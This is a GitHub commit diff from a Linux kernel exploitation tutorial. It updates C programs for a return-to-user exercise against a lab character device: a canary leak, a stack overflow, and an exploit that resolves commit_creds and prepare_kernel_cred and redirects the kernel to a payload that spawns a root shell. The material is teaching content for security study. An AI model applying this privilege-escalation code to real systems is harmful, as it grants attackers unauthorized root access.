Skip to content

Commit 6814a05

Browse files
LazencaLazenca
committed
Uploaded example file and source code.
"01.Kernel Address Space Layout Randomization (KASLR)" "02.Segregation of kernel memory from userspace memory(x86's SMEP/SMAP, ARM's PXN/PAN)" Changed example files and source code. "02.Stack smashing(64bit) & Return-to-user(ret2usr)"
1 parent 52719fe commit 6814a05

File tree

16 files changed

+356
-208
lines changed

16 files changed

+356
-208
lines changed

‎03.Linux Kernel Exploitation Tutorial/02.Stack smashing(64bit) & Return-to-user(ret2usr)/address

3.97 KB
Binary file not shown.

‎03.Linux Kernel Exploitation Tutorial/02.Stack smashing(64bit) & Return-to-user(ret2usr)/address.c

+34-51
Original file line numberDiff line numberDiff line change
@@ -9,50 +9,32 @@
99

1010
#define TEXT_LEN 64
1111

12-
unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
13-
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
12+
void *(*prepare_kernel_cred)(void *) ;
13+
int (*commit_creds)(void *) ;
1414

15-
unsigned long kallsym_getaddr(const char* str)
15+
void *kallsym_getaddr(char *name)
1616
{
17-
FILE *stream;
18-
char fbuf[256];
19-
char addr[32];
20-
21-
stream = fopen("/proc/kallsyms","r");
22-
if(stream < 0)
23-
{
24-
printf("failed to open /proc/kallsyms\n");
25-
return 0;
26-
}
27-
28-
memset(fbuf,0x00,sizeof(fbuf));
29-
30-
while(fgets(fbuf,256,stream) != NULL)
31-
{
32-
char *p = fbuf;
33-
char *a = addr;
34-
35-
if(strlen(fbuf) == 0)
36-
continue;
37-
38-
memset(addr,0x00,sizeof(addr));
39-
fbuf[strlen(fbuf)-1] = '\0';
40-
41-
while(*p != ' ')
42-
*a++ = *p++;
43-
44-
p += 3;
45-
if(!strcmp(p,str))
46-
return strtoul(addr, NULL, 16);
47-
}
48-
49-
return 0;
17+
FILE *fp;
18+
void *addr;
19+
char sym[512];
20+
21+
fp = fopen("/proc/kallsyms", "r");
22+
while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
23+
if (strcmp(sym, name) == 0) {
24+
break;
25+
}else{
26+
addr = NULL;
27+
}
28+
}
29+
fclose(fp);
30+
return addr;
5031
}
5132

5233
int main()
5334
{
54-
static char buf[512],rop[512];
55-
char canary[8];
35+
static char buf[512];
36+
size_t rop[512];
37+
char val[8];
5638
int fd,i,j;
5739

5840
//Find the address of "commit_creds()"
@@ -90,22 +72,23 @@ int main()
9072
printf("\n");
9173
}
9274

93-
memcpy(canary, buf+48,8);
94-
printf("canary is :");
95-
for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff);
75+
memcpy(val, buf+48,8);
76+
size_t canary = ((size_t *)val)[0];
9677

97-
memset(rop, 0x41, 64);
98-
memcpy(rop+64,canary,8);
99-
memset(rop+72,'A',8);
100-
memset(rop+80,'B',8);
101-
memset(rop+88,'C',8);
102-
memset(rop+96,'D',8);
103-
memset(rop+104,'E',8);
104-
memset(rop+112,'F',8);
78+
printf("[+]canary: %p\n", (void *)canary);
79+
80+
int k = 8;
81+
memset(&rop[0], 0x41, 64);
82+
rop[k++] = canary;
83+
rop[k++] = 0x4141414141414141; //AAAAAAAA
84+
rop[k++] = 0x4242424242424242; //BBBBBBBB
85+
rop[k++] = 0x4343434343434343; //CCCCCCCC
86+
rop[k++] = 0x4444444444444444; //DDDDDDDD
87+
rop[k++] = 0x4545454545454545; //EEEEEEEE
88+
rop[k++] = 0x4646464646464646; //FFFFFFFF
89+
10590
write(fd, rop, 120);
10691

107-
write(fd, rop, 104);
108-
10992
if (close(fd) != 0){
11093
printf("Cannot close.\n");
11194
}

‎03.Linux Kernel Exploitation Tutorial/02.Stack smashing(64bit) & Return-to-user(ret2usr)/exploit

-862 KB
Binary file not shown.

‎03.Linux Kernel Exploitation Tutorial/02.Stack smashing(64bit) & Return-to-user(ret2usr)/exploit.c

+56-76
Original file line numberDiff line numberDiff line change
@@ -1,30 +1,30 @@
1-
//gcc -masm=intel -static -o exploit exploit.c
1+
//gcc -masm=intel -static -o r2u exploit.c
22
#include <stdio.h>
33
#include <stdlib.h>
44
#include <fcntl.h>
55
#include <unistd.h>
66
#include <errno.h>
77
#include <string.h>
88
#include <stdint.h>
9-
10-
#define TEXT_LEN 64
119

12-
unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
13-
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
10+
#define TEXT_LEN 64
1411

12+
void *(*prepare_kernel_cred)(void *) ;
13+
int (*commit_creds)(void *) ;
14+
1515
struct trap_frame {
16-
void *user_rip ; // instruction pointer
17-
uint64_t user_cs ; // code segment
18-
uint64_t user_rflags ; // CPU flags
19-
void *user_rsp ; // stack pointer
20-
uint64_t user_ss ; // stack segment
16+
void *user_rip; // instruction pointer
17+
uint64_t user_cs; // code segment
18+
uint64_t user_rflags; // CPU flags
19+
void *user_rsp; // stack pointer
20+
uint64_t user_ss; // stack segment
2121
} __attribute__((packed));
2222
struct trap_frame tf;
23-
23+
2424
void getShell(void) {
2525
execl("/bin/sh", "sh", NULL);
2626
}
27-
27+
2828
void prepare_tf(void) {
2929
asm("mov tf+8, cs;"
3030
"pushf; pop tf+16;"
@@ -33,59 +33,40 @@ void prepare_tf(void) {
3333
);
3434
tf.user_rip = &getShell ;
3535
}
36-
36+
3737
void payload(void)
3838
{
3939
commit_creds(prepare_kernel_cred(0));
4040
asm("swapgs;"
41-
"mov %%rsp, %0;"
41+
"mov %%rsp, %0;"
4242
"iretq;"
4343
: : "r" (&tf));
4444
}
45-
46-
unsigned long kallsym_getaddr(const char* str)
45+
void *kallsym_getaddr(char *name)
4746
{
48-
FILE *stream;
49-
char fbuf[256];
50-
char addr[32];
51-
52-
stream = fopen("/proc/kallsyms","r");
53-
if(stream < 0)
54-
{
55-
printf("failed to open /proc/kallsyms\n");
56-
return 0;
57-
}
58-
59-
memset(fbuf,0x00,sizeof(fbuf));
60-
61-
while(fgets(fbuf,256,stream) != NULL)
62-
{
63-
char *p = fbuf;
64-
char *a = addr;
65-
66-
if(strlen(fbuf) == 0)
67-
continue;
68-
69-
memset(addr,0x00,sizeof(addr));
70-
fbuf[strlen(fbuf)-1] = '\0';
71-
72-
while(*p != ' ')
73-
*a++ = *p++;
74-
75-
p += 3;
76-
if(!strcmp(p,str))
77-
return strtoul(addr, NULL, 16);
47+
FILE *fp;
48+
void *addr;
49+
char sym[512];
50+
51+
fp = fopen("/proc/kallsyms", "r");
52+
while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
53+
if (strcmp(sym, name) == 0) {
54+
break;
55+
}else{
56+
addr = NULL;
57+
}
7858
}
79-
80-
return 0;
59+
fclose(fp);
60+
return addr;
8161
}
82-
62+
8363
int main()
8464
{
85-
static char buf[512],rop[512];
86-
char canary[8];
65+
static char buf[512];
66+
size_t rop[512] = {0};
67+
char val[8];
8768
int fd,i,j;
88-
69+
8970
//Find the address of "commit_creds()"
9071
commit_creds = kallsym_getaddr("commit_creds");
9172
if(commit_creds == 0)
@@ -94,51 +75,50 @@ int main()
9475
return 0;
9576
}
9677
printf("commit_creds address is :%p\n",commit_creds);
97-
98-
//Find the address of "prepare_kernel_cred()"
78+
79+
//Find the address of "commit_creds()"
9980
prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
10081
if(prepare_kernel_cred == 0)
10182
{
10283
printf("failed to get prepare_kernel_cred address\n");
10384
return 0;
10485
}
105-
printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred);
106-
86+
printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred);
87+
10788
//leak the canary
10889
if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
10990
printf("Cannot open /dev/chardev0. Try again later.\n");
110-
return 0;
91+
return 0;
11192
}
112-
113-
lseek(fd, 16, SEEK_CUR);
93+
94+
lseek(fd, 16, SEEK_CUR);
11495
read(fd, buf, TEXT_LEN);
115-
96+
11697
for (i = 0; i < 4; i++)
11798
{
11899
for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
119100
printf(" | ");
120101
for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
121102
printf("\n");
122103
}
104+
105+
memcpy(val, buf+48,8);
106+
size_t canary = ((size_t *)val)[0];
107+
108+
printf("[+]canary: %p\n", (void *)canary);
123109

124-
memcpy(canary, buf+48,8);
125-
printf("canary is :");
126-
for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff);
127-
128-
//Exploit code
129-
memset(rop, 0x41, 64);
130-
memcpy(rop+64,canary,8);
131-
memset(rop+72,'A',8);
132-
memset(rop+80,'B',8);
133-
memset(rop+88,'C',8);
134-
*(void**)(rop+96) = &payload;
135-
memset(rop+104,'D',8);
110+
int k = 8;
111+
memset(&rop[0], 0x41, 64);
112+
rop[k++] = canary;
113+
rop[k++] = 0x4141414141414141; //AAAAAAAA
114+
rop[k++] = 0x4242424242424242; //BBBBBBBB
115+
rop[k++] = 0x4343434343434343; //CCCCCCCC
116+
rop[k++] = (size_t)payload;
136117

137118
prepare_tf();
138-
139-
//Overflow
140-
write(fd, rop, 104);
141-
119+
120+
write(fd, rop, 8*k++);
121+
142122
if (close(fd) != 0){
143123
printf("Cannot close.\n");
144124
}

‎03.Linux Kernel Exploitation Tutorial/02.Stack smashing(64bit) & Return-to-user(ret2usr)/leak

59 Bytes
Binary file not shown.

‎03.Linux Kernel Exploitation Tutorial/02.Stack smashing(64bit) & Return-to-user(ret2usr)/leak.c

+5-7
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111
int main()
1212
{
1313
static char buf[128];
14-
char canary[8];
14+
char val[8];
1515
int fd,i,j;
1616

1717
if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
@@ -30,12 +30,10 @@ int main()
3030
printf("\n");
3131
}
3232

33-
memcpy(canary, buf+48,8);
34-
printf("canary is :");
35-
for(i = 0;i < 8;i++){
36-
printf("%02x ",canary[i] & 0xff);
37-
}
38-
printf("\n");
33+
memcpy(val, buf+48,8);
34+
size_t canary = ((size_t *)val)[0];
35+
36+
printf("[+]canary: %p\n", (void *)canary);
3937

4038
if (close(fd) != 0){
4139
printf("Cannot close.\n");

‎03.Linux Kernel Exploitation Tutorial/02.Stack smashing(64bit) & Return-to-user(ret2usr)/overflow

26 Bytes
Binary file not shown.

‎03.Linux Kernel Exploitation Tutorial/02.Stack smashing(64bit) & Return-to-user(ret2usr)/overflow.c

+19-15
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
//gcc -static -o overflow Overflow.c
1+
//gcc -static -o overflow overflow.c
22
#include <stdio.h>
33
#include <stdlib.h>
44
#include <fcntl.h>
@@ -10,8 +10,9 @@
1010

1111
int main()
1212
{
13-
static char buf[512],rop[512];
14-
char canary[8];
13+
static char buf[512];
14+
size_t rop[512];
15+
char val[8];
1516
int fd,i,j;
1617

1718
if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
@@ -30,19 +31,22 @@ int main()
3031
printf("\n");
3132
}
3233

33-
memcpy(canary, buf+48,8);
34-
printf("canary is :");
35-
for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff);
34+
memcpy(val, buf+48,8);
35+
size_t canary = ((size_t *)val)[0];
36+
37+
printf("[+]canary: %p\n", (void *)canary);
38+
39+
int k = 8;
40+
memset(&rop[0], 0x41, 64);
41+
rop[k++] = canary;
42+
rop[k++] = 0x4141414141414141; //AAAAAAAA
43+
rop[k++] = 0x4242424242424242; //BBBBBBBB
44+
rop[k++] = 0x4343434343434343; //CCCCCCCC
45+
rop[k++] = 0x4444444444444444; //DDDDDDDD
46+
rop[k++] = 0x4545454545454545; //EEEEEEEE
47+
rop[k++] = 0x4646464646464646; //FFFFFFFF
3648

37-
memset(rop, 0x41, 64);
38-
memcpy(rop+64,canary,8);
39-
memset(rop+72,'A',8);
40-
memset(rop+80,'B',8);
41-
memset(rop+88,'C',8);
42-
memset(rop+96,'D',8);
43-
memset(rop+104,'E',8);
44-
memset(rop+112,'F',8);
45-
write(fd, rop, 120);
49+
write(fd, rop, 8*k++);
4650

4751
if (close(fd) != 0){
4852
printf("Cannot close.\n");

‎03.Linux Kernel Exploitation Tutorial/02.Stack smashing(64bit) & Return-to-user(ret2usr)/r2u

862 KB
Binary file not shown.

‎03.Linux Kernel Exploitation Tutorial/02.Stack smashing(64bit) & Return-to-user(ret2usr)/restore

-31 Bytes
Binary file not shown.

0 commit comments

Comments
 (0)